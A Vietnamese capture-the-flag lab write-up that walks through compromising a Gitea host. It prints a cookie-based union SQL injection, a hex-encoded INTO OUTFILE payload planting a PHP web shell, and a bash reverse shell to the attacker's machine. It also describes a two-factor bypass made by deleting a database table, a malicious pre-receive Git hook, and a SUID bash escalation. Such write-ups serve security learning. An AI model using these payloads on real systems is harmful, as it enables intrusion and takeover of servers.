
Một bài lab học cách khai thác tấn công trên gitea
Bước 1: Dò quét thu thập thông tin
Thu thập thông tin cổng dịch vụ của victim
nmap -sV -sC 10.10.178.199

Dịch vụ đang mở là 80 và 22, không có gì đặc biệt cả.
Bước 2: Khai thác dịch vụ web
Mình truy cập website xem có gì không

Không có gì đặc sắc cả ngoài vài dòng văn và lá quốc kỳ của Vương Quốc England
Dò quét đường dẫn khác bằng gobuster, nhưng không thu được thông tin gì cả.

Mình tiến hành kiếm tra bằng công cụ trình duyệt, bấm F12, mình thấy trường cookie có giá trị id mình thêm dấu ‘ ở trường value

Mình thu được kết quả báo lỗi SQL

Bước 3: Tấn công SQL
SQL có 3 loại SQLi
- Error SQL injection
- Blind SQL Injection
- Union SQL Injection
Mình thử sử dụng loại số 3 để khai thác thử thấy thực hiện được
‘union select 1, @@version#


Thu được phiên bản hệ điều hành là ubuntu 18.04.1
Ok tuyệt, vậy mình sẽ thử mã hóa một đoạn mã shell inject thêm nó vào trong hệ thống của nó bằng
Code mình sử dụng
<?php system($_GET[“cmd”]) ?>
Mình sử dụng hàm unhex trong sql kết hợp với union
‘ INTO OUTFILE ‘/var/www/html/shell.php’ LINES TERMINATED by 0x3c3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E#

Chèn vào trường value và reload lại website thu được một cảnh báo lỗi nhưng không vấn đề gì cả mình kiểm tra đường dẫn có tồn tại tệp tin shell.php của mình là được


Mình tiến thành thử kiểm tra user hiện tại

Sang bước tiếp theo mình kiếm mã reverse shell đẩy lên victim đây để thực hiện kết nối ngược về máy mình
Bước 4: Điều khiển máy victim
Tạo tệp tin rev.sh nội dung sau:
echo "bash -i >& /dev/tcp/ip_kali/port 0>&1" >> rev.shChạy webserver ảo trên kali

Sau đó tiến hành tải tệp tin lên máy victim

Cấp quyền và chạy tệp tin


Đồng thời trên máy kali bật chế độ lắng nghe kết nối về

Thành công kết nối được mình đến thư mục home xem có user nào

Thấy có mỗi dylan. Mình truy cập thư mục của dylan. Thấy có tệp cấu hình .gitconfig, work_analysis, user.txt nhưng mình không có quyền đối với user.txt
Mình đọc thử tệp work_analysis
Nhận thấy đây là một tệp log SSH mình thử tìm kiếm log đăng nhập với dylan

Mật khẩu cso thể là của chuỗi dylanLab… hoặc chỉ Lab…
Đọc thêm tệp .gitconfig thu được thông tin user

Mình thử đăng nhập SSH và phát hiện Lab… là mật khẩu của dylan

Mình vào đây đọc cờ đầu thôi nào
Sau khi đọc cờ đầu mình tìm cách leo thang, mình thử sudo -l hay find tìm kiếm nhưng không hiệu quả, mình thử kiểm tra xem nó còn chạy dịch vụ nào khác trên không bằng lệnh
netstat -tulnp

Thấy cổng dịch vụ 3000 được mở dùng nội bộ không public, mình sử dụng ssh tunnel để kết nối tới cổng đó xem sao

Truy cập web localhost theo cổng 3000

Đây là website xây dựng từ Git, sử dụng mã nguồn gitea mình truy cập tìm kiếm gitea và phát hiện nó ở đây

Vào thư mục gitea

Vào sign in web mình đăng nhập

Nó yêu cầu một mã xác thực, xác mình 2 bước

Mình sẽ bypass qua nó, để vượt qua nó thì trong hệ thống database có bảng là two_factor, mình xóa nó
Sử dụng lệnh python3

Sau khi xóa xong bấm ctrl+z thoát ra ngoài và đăng nhập web lại mình đã thành công bypass xác thực 2 bước

Khi hệ thống dùng git thì sẽ có user git và user này sẽ có thể leo thang trực tiếp lên root được.
Bước 5: Leo thang
Mình truy cập repository mặc định

Đến phần setting sửa Git Hooks => pre-receive

Thêm mã reverse shell

Sau đó quay về giao diện tấn công mình tiến hành tái tạo lại tệp git đó

Đồng thời trên máy kali bật cổng lắng nghe kết nối

Thành công kết nối mình kiểm tra thông tin user

Nhận thấy đây là git và có thể thực thi mọi lệnh, mình tiến hành leo thang

Nhưng như vậy hơi tù, mình liên chuyển tệp tin bash đê thực thi leo thăng từ dylan


chạy lệnh chmod 4755 bash bên giao diện user git


Thành công rồi việc còn lại đọc cờ cuối để dành bạn nhé !!! 

0 Comments